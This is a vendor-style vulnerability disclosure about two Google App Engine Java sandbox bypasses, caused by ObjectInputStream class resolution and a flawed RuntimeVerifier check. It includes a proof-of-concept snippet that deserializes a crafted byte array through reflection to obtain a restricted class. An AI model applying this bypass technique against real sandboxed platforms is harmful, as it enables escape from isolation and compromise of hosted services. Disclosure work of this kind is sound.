Security Vulnerability Notice

SE-2014-02-GOOGLE-3

[Google App Engine Java security sandbox bypasses, Issues 35-36]

DISCLAIMER

INFORMATION PROVIDED IN THIS DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, AND TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW NEITHER SECURITY EXPLORATIONS, ITS LICENSORS OR AFFILIATES, NOR THE COPYRIGHT HOLDERS MAKE ANY REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR THAT THE INFORMATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS, OR OTHER RIGHTS. THERE IS NO WARRANTY BY SECURITY EXPLORATIONS OR BY ANY OTHER PARTY THAT THE INFORMATION CONTAINED IN THE THIS DOCUMENT WILL MEET YOUR REQUIREMENTS OR THAT IT WILL BE ERROR-FREE.

YOU ASSUME ALL RESPONSIBILITY AND RISK FOR THE SELECTION AND USE OF THE INFORMATION TO ACHIEVE YOUR INTENDED RESULTS AND FOR THE INSTALLATION, USE, AND RESULTS OBTAINED FROM IT.

TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL SECURITY EXPLORATIONS, ITS EMPLOYEES OR LICENSORS OR AFFILIATES BE LIABLE FOR ANY LOST PROFITS, REVENUE, SALES, DATA, OR COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, PROPERTY DAMAGE, PERSONAL INJURY, INTERRUPTION OF BUSINESS, LOSS OF BUSINESS INFORMATION, OR FOR ANY SPECIAL, DIRECT, INDIRECT, INCIDENTAL, ECONOMIC, COVER, PUNITIVE, SPECIAL, OR CONSEQUENTIAL DAMAGES, HOWEVER CAUSED AND WHETHER ARISING UNDER CONTRACT, TORT, NEGLIGENCE, OR OTHER THEORY OF LIABILITY ARISING OUT OF THE USE OF OR INABILITY TO USE THE INFORMATION CONTAINED IN THIS DOCUMENT, EVEN IF SECURITY EXPLORATIONS OR ITS LICENSORS OR AFFILIATES ARE ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

THIS PUBLICATION COULD INCLUDE TECHNICAL INACCURACIES OR TYPOGRAPHICAL ERRORS.

Security Explorations discovered two additional security vulnerabilities in Google App Engine for Java. A table below, presents their technical summary:

ISSUE #	TECHNICAL DETAILS	
35	origin	`java.io.ObjectInputStream` class
	cause	`latestUserDefinedLoader()` method can denote a privileged loader
	impact	arbitrary loading of system classes (whitelisting escape)
	type	partial GAE security bypass vulnerability
36	origin	`com.google.apphosting.runtime.security.shared.RuntimeVerifier` class
	cause	improper implementation of a `isLoadableByUserClassLoader()` security check
	impact	reflective access to members of classes loaded by non-user Class Loaders
	type	partial GAE security bypass vulnerability

Issue 35 makes it possible to read a restricted Class object from an arbitrary input stream by the means of a deserialization. In JRE, when a Class description is encountered in an `ObjectInputStream`, its corresponding Class object is resolved with the use of the `resolveClass` method illustrated below:

```
protected Class resolveClass(ObjectStreamClass objectstreamclass)
                             throws IOException, ClassNotFoundException {

    String s = objectstreamclass.getName();

    try {
       return Class.forName(s, false, latestUserDefinedLoader());
    } catch(ClassNotFoundException classnotfoundexception) {
      ...
    }
}
```

The actual Class resolution is implemented with the use of a `Class.forName()` method call with a third argument indicating a Class Loader to use during the process. The `latestUserDefinedLoader()` method used by it returns the first user (non-null) Class Loader encountered on the call stack.

In GAE, this implementation of a Class resolution can cause problems as multiple non-null Class Loaders co-exist in the environment and some of them are more privileged than others [1]. This in particular concerns `PrivilegedClassLoader`, which defines a namespace for Java API Interception classes (mirror classes). It can also load all JRE classes without any restrictions imposed by the JRE Class Whitelist.

Java Reflection API is also a subject to the API interception mechanism. As a result, all `invoke` method calls of `java.lang.reflect.Method` class done from within the user code get intercepted by the corresponding method of a mirror class. The target method gets called only if it satisfies all security checks. What's however important here is that the call is done from within the mirror class defined in a `PrivilegedClassLoader` namespace.

The above can be exploited to force the resolution of Class objects conducted by the `resolveClass` method of `java.io.ObjectInputStream` class with the use of a `PrivilegedClassLoader` instance. This can be accomplished by invoking the `readObject()` method of `java.io.ObjectInputStream` through the Reflection API:

```
int class_data[]={
 //serialized javax.management.loading.MLet Class
 0xac, 0xed, 0x00, 0x05, 0x76, 0x72, 0x00, 0x1d,
 0x6a, 0x61, 0x76, 0x61, 0x78, 0x2e, 0x6d, 0x61,
 0x6e, 0x61, 0x67, 0x65, 0x6d, 0x65, 0x6e, 0x74,
 0x2e, 0x6c, 0x6f, 0x61, 0x64, 0x69, 0x6e, 0x67,
 0x2e, 0x4d, 0x4c, 0x65, 0x74, 0x32, 0x76, 0x31,
 0xa3, 0x95, 0x2b, 0x57, 0x92, 0x0c, 0x00, 0x00,
 0x78, 0x70
};

byte stream[]=new byte[class_data.length];

for(int i=0;i<class_data.length;i++) {
 stream[i]=(byte)class_data[i];
}

ByteArrayInputStream bais=new ByteArrayInputStream(stream);
ObjectInputStream ois=new ObjectInputStream(bais);

Class c=java.io.ObjectInputStream.class;
Method read_object=c.getMethod("readObject",new Class[0]);

Class mlet_clazz=(Class)read_object.invoke(ois,new Object[0]);
```

In our POC code, a reference to a restricted `javax.management.loading.MLet` Class Loader class is obtained through a predefined `ObjectInputStream` data. This class can be further used to create an arbitrary instance of an `MLet` object under attacker's control. That's possible due to Issue 36 and the improper implementation of one of the security checks imposed by a `com.google.apphosting.runtime.security.shared.RuntimeVerifier` class prior to conducting Reflection API operations:

```
public static boolean isLoadableByUserClassLoader(Class klass) {
    ClassLoader userLoader = getUserClassLoader();
    try        {
        userLoader.loadClass(klass.getName());    <---- SECURITY CHECK
        return true;
    }  catch(ClassNotFoundException e) {
        return false;
    }
}
```

The above check verifies whether a given class is visible to `UserClassLoader`. It is successful if a class with the same name as an argument class can be loaded by it. In GAE, a request to load a restricted class through the `UserClassLoader` is however in most cases successful. Instead of returning a restricted class, a corresponding stub class is loaded. This is also the case for the `MLet` class

(`com.google.apphosting.runtime.security.shared.stub.javax.management.loading.MLet` stub class is loaded).

The ability to create arbitrary instances of the `MLet` class under attacker's control constitutes a successful escape of a GAE Java security sandbox imposed by the Class Sweeper and associated API Interjection and Interception mechanism in particular (escape of `UserClassLoader` namespace). It can be easily exploited to gain a complete GAE Java security sandbox escape. Issues 35 and 36 can be again combined with Issues 19 and 22 for that purpose.

Attached to this report, there is a Proof of Concept code that illustrates the impact of the vulnerabilities described above. It has been successfully tested in a production GAE environment patched against security issues we reported to Google in Dec 2014 / Jan 2015.

REFERENCES

[1] "Google App Engine Java security sandbox bypasses", technical report `http://www.security-explorations.com/materials/se-2014-02-report.pdf`

About Security Explorations

Security Explorations (`http://www.security-explorations.com`) is a security start-up company from Poland, providing various services in the area of security and vulnerability research. The company came to life in a result of a true passion of its founder for breaking security of things and analyzing software for security defects. Adam Gowdiak is the company's founder and its CEO. Adam is an experienced Java Virtual Machine hacker, with over 50 security issues uncovered in the Java technology over the recent years. He is also the hacking contest co-winner and the man who has put Microsoft Windows to its knees (vide MS03-026). He was also the first one to present successful and widespread attack against mobile Java platform in 2004.